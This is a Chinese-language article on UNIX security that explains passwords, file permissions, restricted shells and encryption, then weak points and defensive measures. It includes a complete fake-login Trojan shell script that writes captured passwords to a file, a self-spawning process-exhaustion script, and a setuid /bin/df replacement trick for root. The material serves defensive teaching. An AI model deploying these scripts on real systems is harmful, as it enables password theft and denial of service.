UNIX系統是為支持多用戶而設計的, 故為多用戶提供了訪問機器的多種途徑, 同時也為用戶之間和多機之間通信提供了多種工具, 然而在當今世界上出於各種目的, 未授權人員常常打入計算機系統. 當我們越來越依賴於UNIX機器以及機器中的文件和數據時, 系統安全性也隨之變得越來越重要, 雖然可以采取措施阻止非法訪問, 但是一種復雜操作系統的自然趨勢是時間越久安全性越差, 我們必須警惕安全性缺陷, 及時堵塞漏洞, 保護系統. 下面首先討論UNIX的安全保護機制, 然後探討一些不安全的因素, 最後提出相應的安全措施.
I. UNIX的安全保護機制
1. 注冊標識和口令
UNIX系統中, 安全性方法的核心是每個用戶的注冊標識(loginid)和口令
(password). 要成功注冊進入UNIX系統, 必須打入有效的用戶標識, 一般還必須輸入正確的口令. 口令是以加密形式存放在/etc/passwd文件中, 每個用戶占一行, 另外幾個系統正常工作所必需的標准系統標識也占一行. 每行由幾個以冒號(:)分隔的域組成: 域1是用戶標識, 域2是口令, 域3是用戶標識數, 域4是用戶組標識, 域5是注釋, 域6是用戶主目錄, 最後一個域是用戶注冊shell的路徑全名(缺省為/bin/sh).
%cat/etc/passws
root:Y0q0Fr68KMP8U:0:1:'[]':/:/bin/csh
daemon:*:1:1::/:
sys:*:2:2::/:/bin/csh
bin:*:4:8::/var/spool/uucppublic:
news:*:6:6::/var/spool/news:/bin/csh
sync::1:1::/:/bin/sync
wwm:66XGDZDOR4Fjq:349:349:Wei wei ming:/pc/wwm:/bin/csh
+::0:0:::
早期UNIX版本中, 域2以加密形式放置用戶的實際口令. 而SVR3的近期版
本卻引入了一個僅含加密後口令的文件即/etc/shadow. 它存放每個用戶的標識及加密後的口令, 描述最後一次修改口令的時間, 允許修改口令的最早期限和必須修改口令的最晚期限. /etc/shadow中的行與/etc/passwd中的行對應./etc/shadow文件由命令pwconv生成. 手工修改/etc/passwd文件後, 必須立即運行pwconv, 保證/etc/shadow按照剛進行過的修改更新. 只有超級用戶可對/etc/passwd和/etc/shadow進行修改.
另外, 有些UNIX版本還顯示最近一次使用用戶標識的情況. 注冊時顯示:
login : wwm
password:
Login last used : Fri Aug 7 22:24:41 CDT 1993
如果顯示時間晚於用戶記憶中自己最近使用的時間, 則該標識就被別人占
用過了, 該用戶應立即修改口令.命令passwd改變口令, 一個口令至少要有6個字符長, 其中至少一個(最好兩個)是非字母符號, 最好大小寫混用和采用超常或非直覺字符序列, 不能容忍的平凡口令是用戶的注冊標識, 工程項目名, 地名或電話號碼等.
2. 文件權限
文件安全是操作系統安全最重要的部分, UNIX系統每一文件都有一系列控
制信息決定了不同的用戶對該文件的訪問權限. 下面是文件的權限位格式:
U G T R W X/S R W X/S R W X/S
| | | 用戶 同組 其他
調 調 粘
整 整 著 R: 讀 W: 寫 X/S : 執行/搜索
主 組 位
它們由四個八進制數組成: 第一個八進制數是調整uid位, 調整gid位和粘
著位, 後面三個八進制數分別表示文件所有者, 同組用戶和其他用戶對該文件的訪問權限. 下面是命令ls -l的輸出形式:
drwxr-sr-x 3 root 512 Oct 14 1990 nserve
-rw-r--r-- 1 root 1145 Oct 14 1990 aliases
lrwxrwxrwx 1 root 10 Apr 27 14:18 adm->../var/adm
srw-rw-rw- 1 root 0 Apr 12 06:42 log
brw-rw-rw- 1 root 16, 0 Apr 27 14:47 fd0a
crw-rw-rw- 1 root 13, 0 Apr 27 14:47 mouse
命令ls-l輸出的左邊給出了文件的訪問權限或稱訪問方式, 其中最左邊位
含義為:
- 說明為普通文件
l 說明為鏈接文件
d 說明為目錄
p 先進先出特別文件
b 說明為塊特別設備文件
c 說明為字符特別設備文件
系統提供了專門處理文件和目錄的所屬關系和訪問權限問題幾個命令:
chown: 可以將文件所屬轉讓
chgrp: 改變文件所屬小組
chmod: 改變文件訪問權限
3. 約束shell
標准shell提供用戶許多功能, 如用戶可在文件系統中漫游等, 然而幾乎
所有UNIX系統都提供另一個稱為rsh的shell, rsh是標准shell的一個子集:
. rsh規定目錄改變命令無效
. 包含字符"/", ">"和">>"的命令無效
. 不能改變文件路徑變量$PATH的值等
但當rsh的用戶在運行一個shell程序時, rsh將調用標准shell全權執行程
序中的所有命令, 這時上述rsh的限制將不起作用. 因此, 更靈活的限制手段是由系統管理員編制一個專用的shell程序, 取代標准shell程序, 用戶注冊後即進入該shell, 程序執行終了時立即自動退出系統, 從而達到對一些用戶進行嚴格管理和限制的目的.
4. 文件加密
正確的文件權限能限制非法用戶對文件的訪問, 但不能排除一些高明的入
侵者和超級用戶讀取文件.
ed, vi和emacs這類編輯程序選項-x提供一種生成並加密文件的能力, 在
裝入時對文件解密, 回寫時再加密.
UNIX系統還提供加密解密過濾程序crypt, 該命令從標准輸入讀, 向標准
輸出寫. 有的系統還提供DES命令, 遺憾的是人們對UNIX的加密算法了解太深, 有一種打破crypt的程序是分析普通英語文本中和加密文件中字符的出現頻率,因此, 過分相信文件加密是危險的, 但我們可以在加密前用另一個過濾程序改變字符出現的頻率, 如用pack:
%pack example.txt
%cat example.txt.z | crypt >out.file
解密時要擴張(unpack)這一文件, 另外壓縮後通常可節約占原文件20%到
40%的空間.
%cat out.file | crypt >example.txt.z
%unpack example.txt.z
當然, 將文件寫軟盤或磁帶上, 刪除機器中的原文件, 妥善保管磁介質是
最保險的方法.
II. 不安全的因素
1. 口令
由於UNIX允許用戶不設置口令, 因而非法用戶可通過/etc/passwd文件查
出未使用口令的用戶(或者即使設置了口令, 卻洩露了出去), 盜用其名進入系統, 讀取或破壞該用戶的文件.另外就是口令猜測程序了, 入侵者不斷地輸入可能的口令(或者由程序產生), 進行加密並和/etc/passwd文件中的口令密文比較, 直到成功地獲得某一用戶的口令為止. 雖然這比較費時, 但由於用戶在選擇口令時的局限性, 成功的例子還是很多的.
2. 文件
我們正確設置文件權限, 某些設置可以增加文件的不安全因素, 讓我們看
幾個設置了不正確權限的文件的例子:
-rwxrwxrwx 1 root 1496 Oct 14 1990 /bin/tty
drwxrwxrwx 7 bin 2048 Aug 7 07:57 etc
-rwsrwxrwx 1 root 8832 Oct 14 1990 /bin/df
命令/bin/tty任何用戶都有寫許可, 意謂著誰都可以直接修改此命令或用
另一文件替換此命令, 這往往會造成嚴重的後果.目錄/etc對所有用戶有寫許可, 則任意用戶可修改或替換該目錄下的passwd文件, 可以使超級用戶沒有口令, 從而以特權身份侵入系統./bin/df是調整uid的, 對該命令有寫許可, 則用戶可以用/bin/sh替換此df命令, 然後執行(實際是/bin/sh)即獲得超級用戶特權.
從以上例子可看出, 文件的寫權限往往是不安全的因素, 對於目錄和使用
調整位的文件來說更是危險.
3. 特洛伊木馬
也許最隱蔽的不安全因素是特洛伊木馬, 它是獲得系統特權和用戶口令的
一種有效方法. 讓我們看下面例子:
#! /bin/sh
# trap V1.o 1992.3.28
# Function: Get the other user's password
# Usage: trap pid
if [ $# -ne 2 ]; then
echo "ERROR: invalid numbers of arguments"
echo "Usage: trap pid"
exit 1
fi
clear
# change interrupt character. The default is DEL.
stty instr +
while [ 1]
do
echo -n ":V& login: "
read username
if[ "$username" != "" ]; then
break
fi
done
stty -echo
echo -n "Password: "
read passwd
echo ""
echo $username $passwd >> /f/wwm/tmp/login
sleep 1
echo "Login incorrect"
stty echo
# reset default interrupt character DEL (^?).
stty intr
# logout yourself username.
kill -9 $1
# OK.
上面的shell程序偽裝成錄入程序, 非法用戶在某終端上運行該程序後走
開, 等待受騙者的到來, 就可輕易竊走該用戶的口令.
另外一些常見的情形是侵入者在某用戶的一個目錄下植入洛伊木馬程序,
一旦該用戶在此目錄下執行此程序, 侵入者便可以獲取該用戶權限, 進而破壞用戶文件, 如偽裝的pwd命令, ls命令和su命令等.
4. 設備特殊文件
UNIX系統的兩類設備(塊設備和字符設備)被當作文件看待, 稱為特別文件, 都在/dev目錄下, 對於特別文件的訪問, 事實上就訪問了物理設備. 這些特別文件是系統安全的一個重要方面.
1) 內存
對物理內存和系統虛空間, System V 提供了相應的文件/dev/mem和/dev/kmem, mem是內存映象的一個特別文件, 它可以用於檢驗(甚至修補)系統. 若該文件用戶可改寫, 則可在其中植入洛伊木馬或通過讀取和改寫主存內容而竊取系統特權.
2) 塊設備
由於文件系統的操作自然牽涉到塊設備的讀寫, UNIX System V對塊設備
的管理分為三層, 最高層是與文件系統的接口, 包括塊設備的各種讀寫操作. 例如磁盤, 如果一旦對盤有訪問權限, 就可以修改其上的文件, UNIX允許安裝不同的盤作為文件系統, 非法用戶可以通過安裝自己的軟盤作為文件系統, 而其軟盤上有修改後的系統文件, 如一些屬於root的setuid程序, 這樣他就可以安裝自己的文件系統, 執行非法的setuid程序, 獲取更高的特權.
3) 字符設備
例如終端設備, 在UNIX中, 每個用戶都通過終端進入系統, 用戶對其錄入
的終端有讀寫權限. 由於UNIX對文件權限的檢查往往只在打開操作(open系統調用)時進行, 其後的操作往往不再檢查, 因此某些用戶進入系統後可以編寫一監測程序, 讀取其後用戶錄入該終端的輸入信息.
5. 網絡
UNIX的網絡程序主要是uucp(UNIX to UNIX copy), uucp可以在UNIX系統
之間傳輸文件和遠程執行命令. 由於歷史的原因, 它可能是UNIX系統中最不安全的部分.
一種情況是用戶可以使用uucp復制遠程系統的/etc/passwd文件, 查出未
使用口令的用戶, 從而通過該用戶進入遠程系統; 另一種情形是在uucp機制中未加密的遠程uucp號的口令存在一個普通系統文件/usr/lib/uucp/L.sys中, 非法用戶在竊取root權限後通過讀取該文件而獲得每一遠程uucp帳號的口令, 進而破壞遠程系統.
6. 其它
1) 郵件
在BSD, SUNOS等版本中, 實用程序/bin/mail首先調用mktemp()得到臨時
文件, 然後判斷是發信還是讀信. mail進程在得到文件名後打開文件寫以前, mail進程可能會因為時間片用完而被迫放棄CPU, 這時其它進程占據CPU後,可將某些重要的系統文件與臨時文件鏈接, 等到mail再次運行時, 它要寫入的臨時文件實際上已變成系統文件(如/etc/passwd), 這樣就可輕易篡改系統文件.
2) 後台命令
shell提供操作符&使用戶在後台運行命令, UNIX系統允許用戶建任意多個
後台進程, 直到系統核心內部說明的最大值, 但遠未達到這一極限之時, 系統性能即開始受損. 遺憾的是, 很多UNIX版本的ps命令不能很好地反映後台進程的狀態. 下面是一個非常簡單的shell程序:
% cat call-self
call-self
% call-self &
投入後台方式運行後, 將產生永無休止的進程, 即使是root也無法用kill
命令終止它, 只有直至系統崩潰. 如果按如下方式運行, 情況又將如何?
% cat call-self
call-self &
% call-self &
3) 任務調度
為使多進程都能夠公平訪問機器的單CPU, 操作系統內的分時機構必須在
某一進程耗盡應分享的CPU資源後切換至另一進程, UNIX提供了計時和調度工具, 如at和batch命令. 如果對授權用戶清單文件/usr/lib/cron下的at.allow和at.deny文件權限設置不對, 未授權用戶可能就會對系統造成極大的破壞.另外, 還有如游戲, 很多游戲程序產生一些中間文件, 有些病毒程序和入侵者就可能會從這些文件侵入. 因此, 我們也必須對游戲提高警惕.
III. 安全措施
1. 系統管理員
系統管理員擔負著維護整個系統安全的重要使命, 必須謹慎地管理系統:
1) 正確設置系統文件和系統目錄的訪問權限
2) 選擇root口令, 並定期更換. 認真確定root用戶組權限, 制止不合法
用戶申請帳號
3) 經常檢查sulog文件, 查找可能的入侵者蹤跡
4) 檢查/usr/lib/crontab文件內容, 防止有人蓄意破壞文件系統或埋植
特洛伊木馬
5) 仔細認可用戶安裝自己的文件系統
6) 對於網絡環境:
. 防止信息內容洩露
. 防止通信量分析
. 檢查信息源的修改
. 檢查設備錯誤
. 檢查連接請求的冒充
2. 用戶
用戶要保證自己的信息, 必須充分正確地運用安全保護機制:
1) 選擇好口令, 並保存好, 定期更換
2) 仔細設置.profile, umask和PATH
3) 對重要正文使用加密, 並做好備份
4) 在通過終端錄入系統時, 最好先清一下終端, 防止有詐
5) 離開終端時, 一定要退出系統
總結
本文首先討論了UNIX系統的一些安全保護機制:
1.注冊標識和口令是UNIX系統安全性方法的核心;
2.文件安全是操作系統安全最重要的部分, UNIX系統的每一文件都有一系列控制信息決定了不同的用戶對該文件的訪問權限;
3.約束SHELL規定標准SHELL的一些命令無效, 如改變路徑和重定向命令無效;
4.文件加密是保護用戶重要文件不被他人盜取的一種必要手段.
然後探討了一些不安全的因素:
1.口令, 非法用戶可通過未使用口令或口令洩密了的用戶注冊標識進入系統, 或者編寫口令猜測程序獲取其他用戶甚至超級用戶口令, 從而讀取或破壞用戶文件;
2.文件, 設置了不正確權限的文件是不安全的一個重要因素;
3.特洛伊木馬, 是獲取系統特權和用戶口令的一種有效方法, 也許是最隱蔽的不安全因素;
4.設備特殊文件, 包括塊設備和字符設備;
5.網絡, 由於歷史的原因, 它可能是UNIX系統中最不安全的部分;
6.其它, 如郵件, 後台命令, 任務調度和游戲等.
最後提出了系統管理員和用戶必須采取的一些安全措施.